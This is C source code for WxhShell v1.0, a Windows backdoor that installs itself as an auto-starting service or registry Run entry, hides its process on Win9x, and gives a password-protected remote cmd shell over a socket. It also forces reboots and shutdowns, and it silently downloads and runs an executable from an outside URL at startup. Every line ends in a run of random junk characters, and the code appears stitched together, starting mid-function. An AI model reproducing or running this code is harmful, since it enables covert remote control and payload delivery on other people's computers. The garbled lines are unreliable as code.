    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #]jl{K\f#X  
    else { ,6{z  
    closesocket(wsh); =l43RawAmu  
    ExitThread(0); W9%v#;2  
    } A,_O=hA2I  
    break; ; R+>}6  
    } T-a>k.}y  
  // 获取shell GfELL `yz  
  case 's': { =6dAF"b)  
    CmdShell(wsh); NF8<9  
    closesocket(wsh); ej-A =avd  
    ExitThread(0); wI|h9q1U  
    break; +;~o R_p  
  } kku<0<(N  
  // 退出 JI .=y5I  
  case 'x': { _s5^\~ao  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Gf"TI:xa  
    CloseIt(wsh); i"a3POV>  
    break; nm1dd{U6^  
    } [L+*pW+$\.  
  // 离开 k4V3.i!E  
  case 'q': { oM!&S'M/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e|{R2z"^  
    closesocket(wsh); X+]>pA  
    WSACleanup(); lZ-U/$od  
    exit(1); Q)0KYKD+@  
    break; Qz[^J  
        } /Ot3[B  
  } @G2# Z  
  } zE/l  
<rE>?zvm  
  // 提示信息 j $q5m 24L  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~wDXjn"U&  
} I0zx'x)F  
  } d MR?pbD  
a|z-EKV  
  return; v](Y n) #  
} 9s"st\u 4  
Z>`\$1CI  
// shell模块句柄 N~=I))i  
int CmdShell(SOCKET sock) y-3'qq'E  
{ *Mhirz% iD  
STARTUPINFO si; :+/8n+@#  
ZeroMemory(&si,sizeof(si)); n!z!fh  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J1}\H$*X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7zH2dqrj  
PROCESS_INFORMATION ProcessInfo; [bHm-X]  
char cmdline[]="cmd"; ~g=& wT11  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U&#` <R_0  
  return 0; VP A+/5TW  
} 9\.0v{&v  
eI:[o  
// 自身启动模式 ? #rXc%F  
int StartFromService(void) qhY+<S9  
{ wL8j i>"  
typedef struct $L= Dky7  
{ `*vO8v  
  DWORD ExitStatus; l48$8Mgrr  
  DWORD PebBaseAddress; 'UsR/h5T  
  DWORD AffinityMask; `TJhH<z"%  
  DWORD BasePriority; >}*W$i  
  ULONG UniqueProcessId; :o8`2Z*g  
  ULONG InheritedFromUniqueProcessId;  nz?[  
}   PROCESS_BASIC_INFORMATION; xJ$uoy3+  
zTcz+3x  
PROCNTQSIP NtQueryInformationProcess; veq3t$sj  
A8&@Vxdz  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y|LL]@Lv  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k";dK*hD,  
C!^A\T7p  
  HANDLE             hProcess; MOQ6&C`7q  
  PROCESS_BASIC_INFORMATION pbi; u9@B&  
{*O%A  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0FcDO5ia  
  if(NULL == hInst ) return 0; vSnVq>-q&  
3`reXms*{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); u9f^wn  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 16/  V5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yb',nGl~  
h7+"*fN  
  if (!NtQueryInformationProcess) return 0; Vx<{cHQQ  
[`GSc6j  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  PFX,X  
  if(!hProcess) return 0; oUnb-,8n  
9$$  Ijf  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; F)cCaE;  
Hy3J2p9.  
  CloseHandle(hProcess); XDCm  
7N 0Bj!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Hes!uy  
if(hProcess==NULL) return 0; o>M^&)Xs  
myA;Y  
HMODULE hMod; 9wR D=a  
char procName[255]; z|3v~,  
unsigned long cbNeeded; @]n8*n  
q.=Q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^)9/Wz _x  
h/tCve3Z  
  CloseHandle(hProcess);  G06;x   
F\N0<o  
if(strstr(procName,"services")) return 1; // 以服务启动 ]z'L1vQl7  
:Ob4WU  
  return 0; // 注册表启动 o?}dHTk7  
} t, %m-dU  
c-hc.i}!  
// 主模块 "^z%|uXkf  
int StartWxhshell(LPSTR lpCmdLine) ouCh2Y/_  
{ =Lkn   
  SOCKET wsl; MPUyu(-%{  
BOOL val=TRUE; enPtW  
  int port=0; !LH;K  
  struct sockaddr_in door; lx2#C9L_  
4S'e>:  
  if(wscfg.ws_autoins) Install(); o`n8Fk}i  
P-ZvW<M  
port=atoi(lpCmdLine); XcoX8R%U  
9!=4}:+  
if(port<=0) port=wscfg.ws_port; ,5zY1C==Ut  
1L::Qu%E  
  WSADATA data; :.AC%'S  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3Y#  
c<_1o!68  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \9,lMK[b  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I@N/Y{y#  
  door.sin_family = AF_INET; / tkV/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); nUq@`G  
  door.sin_port = htons(port); ax _v+v %  
'GW~~UhdW  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X..M!3W  
closesocket(wsl); ~]%re9jGW  
return 1; :p<:0W2!  
} P<1&kUZL  
4t*VI<=<[  
  if(listen(wsl,2) == INVALID_SOCKET) { +tkm,>s  
closesocket(wsl); Wf:X) S7  
return 1; l}S96B  
} Rz>@G>b:  
  Wxhshell(wsl); fCb&$oRr!  
  WSACleanup(); y\6C9%.  
N}z]OvnZH  
return 0; 5#_GuL%  
}+NlY D:qF  
} "5,Cy3  
q2Gm8>F1y.  
// 以NT服务方式启动 5=<fJXf5y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a#Z#-y!  
{ 4[r:DM|8  
DWORD   status = 0; v~^*L iP+  
  DWORD   specificError = 0xfffffff; i[vN3`*B  
$f"Ce,f  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )1 0aDTlr  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Fvv/#V^R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; XX1Iw {o9:  
  serviceStatus.dwWin32ExitCode     = 0; %E":Wv  
  serviceStatus.dwServiceSpecificExitCode = 0; cpq0' x\  
  serviceStatus.dwCheckPoint       = 0; n?^X/R.22  
  serviceStatus.dwWaitHint       = 0; _A$V~Hp9q  
>va9*pdJ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r)w]~)8  
  if (hServiceStatusHandle==0) return; AIQ]lQ(  
<~5$<L4  
status = GetLastError(); #Nv0d|0\  
  if (status!=NO_ERROR) xtS0D^  
{ U,2\ TBz  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #0M,g  
    serviceStatus.dwCheckPoint       = 0; `t #I e *  
    serviceStatus.dwWaitHint       = 0; O;;vz+ j  
    serviceStatus.dwWin32ExitCode     = status; aj]%c_])(  
    serviceStatus.dwServiceSpecificExitCode = specificError; yc$8X sns  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ")qO#b4  
    return; t7 $2/C  
  } !8%{(;(  
%$(*.o!+8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w5&,AL:  
  serviceStatus.dwCheckPoint       = 0; #kEa&Se  
  serviceStatus.dwWaitHint       = 0; dLu3C-.(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); TCO^9RP<  
} JMYM}G  
}qdGS<{  
// 处理NT服务事件,比如:启动、停止 }"9jCxXL  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G0$,H(]~  
{ Y'i_EX|  
switch(fdwControl) )e:u 6]  
{ $zV[- d  
case SERVICE_CONTROL_STOP: U7cGr\eUu  
  serviceStatus.dwWin32ExitCode = 0; WAbt8{$D  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; d\aU rsPn  
  serviceStatus.dwCheckPoint   = 0; yn5yQ;  
  serviceStatus.dwWaitHint     = 0; "(#]H;!W  
  { fNaS?tV)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DW~< 8  
  } E MKv)5MH  
  return; i;B)@op.#  
case SERVICE_CONTROL_PAUSE: U ()36  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8MPXrc,9-  
  break; My!<_Hp-W  
case SERVICE_CONTROL_CONTINUE: =h 2zIcj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "8Y4;lbN.q  
  break; 0dgp<  
case SERVICE_CONTROL_INTERROGATE: u($y<Q)=  
  break; Gv w:h9v  
}; H{ CG/+x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "(rG5z3P  
} 'Nv*ePz  
H-o>| C  
// 标准应用程序主函数 `PR)7}/<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;  u0 MY  
{ A/EW57v"  
k%)QrRnB  
// 获取操作系统版本  *w538Vb  
OsIsNt=GetOsVer(); ^H1B 62_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _"B5S?  
Zi fAn  
  // 从命令行安装 ?_9A`LC*  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ul@yXtj  
195m0'zda  
  // 下载执行文件 %P2GQS-N  
if(wscfg.ws_downexe) { |A#pG^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0a??8?Q1G  
  WinExec(wscfg.ws_filenam,SW_HIDE); ch}t++`l]  
} [' ~B &  
Z!P7mH\c}  
if(!OsIsNt) { I|*w?i*  
// 如果时win9x,隐藏进程并且设置为注册表启动 lV-b   
HideProc(); R(sPU>`MX  
StartWxhshell(lpCmdLine); *1fq:--  
} i[_WO2  
else sF$$S/b  
  if(StartFromService()) -# [=1 Y  
  // 以服务方式启动 |<l  sv  
  StartServiceCtrlDispatcher(DispatchTable); E {$Jk]c  
else ;x*_h  
  // 普通方式启动 ua%$r[  
  StartWxhshell(lpCmdLine); 0Z{f!MOh  
#MbkU])  
return 0; zU;%s<(p  
} N|OI~boV%  
g?.ls{H  
v"VpE`z1#  
-s5j^U{h|  
=========================================== =ILE/ pC-|  
"&s9;_9  
^u@"L  
diF-`~  
~ [ k0ay  
-\OvOkr  
" _yi`relcq-  
SW!lSIk  
#include <stdio.h> U_t[J|  
#include <string.h> Cku#[?G  
#include <windows.h> &eL02:[  
#include <winsock2.h> j\kT H  
#include <winsvc.h> v803@9@  
#include <urlmon.h> + niz(]  
lxIo P  
#pragma comment (lib, "Ws2_32.lib") 3mI(5~4A]?  
#pragma comment (lib, "urlmon.lib") =P}ob eY  
WrB:)Q(8=  
#define MAX_USER   100 // 最大客户端连接数 CatbEXO  
#define BUF_SOCK   200 // sock buffer 3K2B7loD)~  
#define KEY_BUFF   255 // 输入 buffer AgEX,SPP  
#aX+?z\4  
#define REBOOT     0   // 重启 I$. HG]  
#define SHUTDOWN   1   // 关机 (X=JT  
lyY\P6 X  
#define DEF_PORT   5000 // 监听端口 Ass :  
*3.K; Ic;  
#define REG_LEN     16   // 注册表键长度 _ebo  
#define SVC_LEN     80   // NT服务名长度 `1}WQS  
"DN0|%`M/  
// 从dll定义API YfRjr  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <v&L90+s\;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c`S`.WID  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kYbqb?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Qt-7jmZw1  
9:DT+^BB  
// wxhshell配置信息 R;mA2:W)x  
struct WSCFG { `_YXU  
  int ws_port;         // 监听端口 =VC"X?N  
  char ws_passstr[REG_LEN]; // 口令 S vTd#>ke  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0m2%ucKw  
  char ws_regname[REG_LEN]; // 注册表键名 @477|LO  
  char ws_svcname[REG_LEN]; // 服务名 s2Z'_r T  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `O+}$wP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vIq>QXb;d  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 A9 *P7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4d x4hBd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0tz7^:|D  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $6[%NQp  
rY?]pMp  
}; ;H' ,PjU  
7)RDu,fx  
// default Wxhshell configuration lJHU1 gu  
struct WSCFG wscfg={DEF_PORT, YCPU84f  
    "xuhuanlingzhe", WswM5RN  
    1, LZ=E  
    "Wxhshell", $^TxLv  
    "Wxhshell", $?Km3N\?v  
            "WxhShell Service", 3VZ}5  
    "Wrsky Windows CmdShell Service", h5)4Z^n  
    "Please Input Your Password: ", vRhI:E)So#  
  1, &0b\E73  
  "http://www.wrsky.com/wxhshell.exe", } yb"/jp  
  "Wxhshell.exe" tZXq<k9  
    }; (Sv=R(_s  
;W 3#q:  
// 消息定义模块 H\%^n<]#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "g5<jp  
char *msg_ws_prompt="\n\r? for help\n\r#>"; dz6&TdEl  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9kzJ5}  
char *msg_ws_ext="\n\rExit."; @ ^q}.u`  
char *msg_ws_end="\n\rQuit."; 7_9^nDU  
char *msg_ws_boot="\n\rReboot..."; ZGw 6Bd_I  
char *msg_ws_poff="\n\rShutdown..."; lRANXM  
char *msg_ws_down="\n\rSave to "; 9oj#5Hq  
M!`&Z9N  
char *msg_ws_err="\n\rErr!"; Dz3~cuVb  
char *msg_ws_ok="\n\rOK!"; 1Y:JGon  
2!)|B ;y  
char ExeFile[MAX_PATH]; + Pc2`,pw|  
int nUser = 0; %ONU0xtqk  
HANDLE handles[MAX_USER]; ^/ff)'.J  
int OsIsNt; F05]6NVv  
&c^tJ-s  
SERVICE_STATUS       serviceStatus; V.e30u5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r0Zj'F_e  
/g>]J70  
// 函数声明 r,<p#4(>_  
int Install(void); ;uho.)%N`F  
int Uninstall(void); oe*fgk/o9  
int DownloadFile(char *sURL, SOCKET wsh); $ghlrV;:ct  
int Boot(int flag); [Mk:Zz%  
void HideProc(void); V 7oE\cxr  
int GetOsVer(void); 0}` 0!Kv  
int Wxhshell(SOCKET wsl); Y1;jRIOA  
void TalkWithClient(void *cs); 2U`!0~pod  
int CmdShell(SOCKET sock); C';Dc4j  
int StartFromService(void); ~bq w!rz  
int StartWxhshell(LPSTR lpCmdLine); \Ez&?yb/  
qL?$u07<9'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {Ia1Wd8n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); K1=j7  
9JqT"zj  
// 数据结构和表定义 GM Y[Gd  
SERVICE_TABLE_ENTRY DispatchTable[] = v"*c\,  
{ Elt" tJ  
{wscfg.ws_svcname, NTServiceMain}, QuBA'4ht  
{NULL, NULL} .:t&LC][  
}; a`D`v5G t  
`[&%fTW+  
// 自我安装 _&M^}||UH  
int Install(void) GF36G?iEi  
{ iX6*OEl/Q  
  char svExeFile[MAX_PATH]; mYqLqezAA  
  HKEY key; fRwr}n'  
  strcpy(svExeFile,ExeFile); T5-Yqz  
~ %Ij5PD  
// 如果是win9x系统,修改注册表设为自启动 09=w  
if(!OsIsNt) { ba)hWtenH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w}YcAnuB{%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [[O4_)?el  
  RegCloseKey(key); Q]]M;(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ] I5&'#%2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dpT?*qLM  
  RegCloseKey(key); )K]<\Q[  
  return 0; ./<giTR:p  
    } }%c0EY'  
  } Y=/;7T  
} ~lbm^S}-  
else { 39x 4(  
1I%niQv5t  
// 如果是NT以上系统,安装为系统服务 QS@eqN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u63Q<P<  
if (schSCManager!=0) (S_1C,  
{ [KMS/'; ]  
  SC_HANDLE schService = CreateService mj ,Oy  
  ( ;,Os3  
  schSCManager, 'X~CrgQl  
  wscfg.ws_svcname, !,~C  
  wscfg.ws_svcdisp, N.vkM`Z  
  SERVICE_ALL_ACCESS, @2eH;?uO  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F<O<=Ww  
  SERVICE_AUTO_START, Uo JMOw[  
  SERVICE_ERROR_NORMAL, o}Zl/&(  
  svExeFile, +$R%Vbd  
  NULL, +WvW#wpH  
  NULL, ~g *`E!2  
  NULL, j?(@x>HA  
  NULL, 0C717  
  NULL xw3A|Aj?r  
  ); ( `d_DQ  
  if (schService!=0) ze uSk| O  
  { CYNpbv  
  CloseServiceHandle(schService); 3ZqtIQY`  
  CloseServiceHandle(schSCManager); wEEFpn_   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ROj=XM:+  
  strcat(svExeFile,wscfg.ws_svcname); 2'WdH1UrBc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !< ^`Sx/+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gWy2E;"a  
  RegCloseKey(key); ScC!?rTW~7  
  return 0; 'x= y:0A  
    } HgRfMiC  
  } yF1^/y!@  
  CloseServiceHandle(schSCManager); !Op18hP$  
} tUs{/Je  
} "HbrYYRb'  
q?oJ=]m"  
return 1; 9'!I6;M  
} dYhLk2  
^Cn_ ODjo  
// 自我卸载 z|G 39  
int Uninstall(void) 1I U*:Z;Rz  
{ Ox f,2r  
  HKEY key; Gp))1b';  
cc$+"7/J^c  
if(!OsIsNt) { '|N9xL m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 79Vp^GG7  
  RegDeleteValue(key,wscfg.ws_regname); qbe9 CF'@_  
  RegCloseKey(key); WD5ulm?91|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O}_Z"y  
  RegDeleteValue(key,wscfg.ws_regname); c{t(),nAA  
  RegCloseKey(key); T5di#%: s  
  return 0; [-Dl,P=  
  } L1E\^)  
} g:nU&-x#R  
} o\YF_235  
else { .J3Dk=/  
,4%'~8'3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); D;al(q  
if (schSCManager!=0) u)fmXoQ  
{ <C_FI` wk  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); H A(e  
  if (schService!=0) ,fwN_+5  
  { DOm5azO!>  
  if(DeleteService(schService)!=0) { i XI:yE;  
  CloseServiceHandle(schService); [UHDN:y  
  CloseServiceHandle(schSCManager); >2l;KVm%  
  return 0; :#QYwb~  
  } @"#W\m8  
  CloseServiceHandle(schService); =/rIXReY  
  } <99Xg_e  
  CloseServiceHandle(schSCManager); \i=,[8t[r  
} YFCP'J"Z  
} &@xixbg  
\Podyh/;?  
return 1; !s]LWCX+|  
}  98os4}r  
;?i(WV}ee  
// 从指定url下载文件 e/m ,PE  
int DownloadFile(char *sURL, SOCKET wsh) >]k'3|vV  
{ <Dw`Ur^X5  
  HRESULT hr; WKQVT I&A.  
char seps[]= "/"; g(Jzu'  
char *token; r c7"sIkV  
char *file; :hG?} [-2  
char myURL[MAX_PATH]; 5xi f0h-`  
char myFILE[MAX_PATH]; 2Ek6YNx  
MX?K3=j @>  
strcpy(myURL,sURL); s45Y8!c  
  token=strtok(myURL,seps); )dJaF#6j  
  while(token!=NULL) ;jTP|q?|{  
  { rs3Uk.Z^ '  
    file=token; 9(Vq@.;Z`j  
  token=strtok(NULL,seps); S ; x;FU  
  } 5yO6szg  
H'$g!Pg  
GetCurrentDirectory(MAX_PATH,myFILE); tZ[Y~],F  
strcat(myFILE, "\\"); 0sRby!  
strcat(myFILE, file); DEaO= p|  
  send(wsh,myFILE,strlen(myFILE),0); "2X=i`rTi  
send(wsh,"...",3,0); Xz0jjO,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %lchz /  
  if(hr==S_OK) lC +p2OG^[  
return 0; gO?+:}!  
else 5f7;pS<  
return 1; [K[tL|EK  
j[yGfDb  
} \@Gyl_6^  
k'wF+>  
// 系统电源模块 s@f4f__(]  
int Boot(int flag) r+0"1\f3  
{ "TKf" zc  
  HANDLE hToken; *~fZ9EkD  
  TOKEN_PRIVILEGES tkp; ~ -Rr[O=E  
%L{H_;z  
  if(OsIsNt) { rSB"0 W7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5B .+>u"e  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); q,2]]K7y  
    tkp.PrivilegeCount = 1; X",fp  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \i "I1xU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); tOwwgf  
if(flag==REBOOT) { -c%GlpZw  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  ^DVr>u  
  return 0;  o )cd!,h  
} M'W@K  
else { SMk{159q&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =+97VO(w]G  
  return 0; X\hD 4r"  
} W{Ie(hf  
  } YU[93@mCh  
  else { 6J6MR<5'  
if(flag==REBOOT) { 1okL]VrI  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) x'; 6  
  return 0; 6CLrP} u  
} 4*l ShkL  
else { E$34myOVf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]}8<h5h)  
  return 0; \S}&QV  
} RqXcL,,9  
} Gk8"fs  
> z h  
return 1; IQoz8!guh:  
} q>%KIBh(  
23qTmh  
// win9x进程隐藏模块 $91c9z;f^  
void HideProc(void) NUEy0pLw  
{ kG &.|  
-$?xR](f  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); y;yXOE_  
  if ( hKernel != NULL ) G7pj.rQ  
  { 0MF[e3)a  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); B+iVK(j'[v  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Va\dMv-b  
    FreeLibrary(hKernel); = I Ls[p  
  } .rD@Q{e50  
o  <0f  
return; CVo@zr$  
} U GQ{QH  
h$ DFp  
// 获取操作系统版本 '49&qO5B  
int GetOsVer(void) V2,54YE  
{ ,_r"=>?@  
  OSVERSIONINFO winfo; \$/)o1SG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Nlx7"_R"Q  
  GetVersionEx(&winfo); UQaLhK v:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  >zFe)  
  return 1; #gMMh B=  
  else n&D<l '4  
  return 0; 3DV';  
} ,fpu@@2  
U,LW(wueT  
// 客户端句柄模块 xKWqDt  
int Wxhshell(SOCKET wsl) =zDU!< U  
{ P_B#  
  SOCKET wsh; Ah;2\0|t  
  struct sockaddr_in client; A`T VV  
  DWORD myID; M")JbuI  
&8_]omuNV  
  while(nUser<MAX_USER) N#Y%+1  
{ h8Q+fHDYv  
  int nSize=sizeof(client); ^ ~:f02[D  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .mn`/4  
  if(wsh==INVALID_SOCKET) return 1; >N@tInE  
\{t#V ~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); l9lBhltOH  
if(handles[nUser]==0) rIH/<@+  
  closesocket(wsh); ^ llZf$`  
else l~;H~h!h/  
  nUser++; L{jJDd  
  } uz-,)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _G|hKk^,  
% obR2%  
  return 0; [9(tIb!x  
} I 8vv  
FB9PIsFS  
// 关闭 socket 7Ab&C&3  
void CloseIt(SOCKET wsh) VR ^qwS/  
{ (9% ki$=}+  
closesocket(wsh); A-^[4&rb  
nUser--; e:fp8 k<  
ExitThread(0); a yn6k=F  
} T$T:~8tK3  
J( JsfU4  
// 客户端请求句柄 8] skAh  
void TalkWithClient(void *cs) ig<Eyr  
{ #no~g( !o  
_x&;Fa%  
  SOCKET wsh=(SOCKET)cs; R*a5bKr  
  char pwd[SVC_LEN]; Se<]g$eK?5  
  char cmd[KEY_BUFF]; W^npzgDCo  
char chr[1]; (|)`~z  
int i,j; Oo |*q+{  
7[h_"@_A7  
  while (nUser < MAX_USER) { x;)bp7  
1^XuH('  
if(wscfg.ws_passstr) { (MhC83|?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tvXoF;Yq  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rqW[B/a{  
  //ZeroMemory(pwd,KEY_BUFF); =+5z;3  
      i=0; _G%]d$2f`  
  while(i<SVC_LEN) { (XA=d 4  
b~X^vXIv%%  
  // 设置超时 c.-h'1  
  fd_set FdRead; s3qWTdM  
  struct timeval TimeOut; CT,caa  
  FD_ZERO(&FdRead); u$ C@0d  
  FD_SET(wsh,&FdRead); J@D5C4>i  
  TimeOut.tv_sec=8; 1{+x >Pv:  
  TimeOut.tv_usec=0; i)9}+M 5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ot}fGiio  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); uw!  
!`=ms1%U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ALvj)I`Al  
  pwd=chr[0];  W%LTcm  
  if(chr[0]==0xd || chr[0]==0xa) { D`p&`]k3v  
  pwd=0; [M>Md-pj  
  break; S^q)DuF5!  
  }  }/~%Ysl  
  i++; ,: g.B\'Q  
    } 'F%4[3a$\n  
^kZfE"iE2  
  // 如果是非法用户,关闭 socket !Ic;;<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S<}2y9F  
} [-o`^;  
! `5[(lm  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); VD}8ei  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q-s! hiK  
UjibQl 3:m  
while(1) { r~cmrLQa  
dmh6o *  
  ZeroMemory(cmd,KEY_BUFF); [Du@go1C  
>55c{|"@L  
      // 自动支持客户端 telnet标准   o`?0D)/O  
  j=0; 4d&#NP  
  while(j<KEY_BUFF) { g*b 4N _  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c>fLSf  
  cmd[j]=chr[0]; v-6" *EP  
  if(chr[0]==0xa || chr[0]==0xd) { d_9Fc" C~  
  cmd[j]=0; qh Ezv~  
  break; kN uDoo]z  
  } iO=xx|d  
  j++; }HS:3Dt  
    } yu"Ii-9z  
r}) 2-3ZA9  
  // 下载文件 E_&Hje|J_[  
  if(strstr(cmd,"http://")) { 1@IRx{v$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4X7y}F.J  
  if(DownloadFile(cmd,wsh)) QFoZv+|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5zJkPki  
  else >yvP[$]!6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zi:F/TlUC  
  } \3K6NA!L  
  else { ^|}C!t+  
>(z{1'f{  
    switch(cmd[0]) { oR}ir  
  xrx{8pf  
  // 帮助 RAKQ+Y"nl  
  case '?': { IV^LYu  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); hTI8hh  
    break; P Y +~,T2  
  } THH rGvb  
  // 安装 43rM?_72  
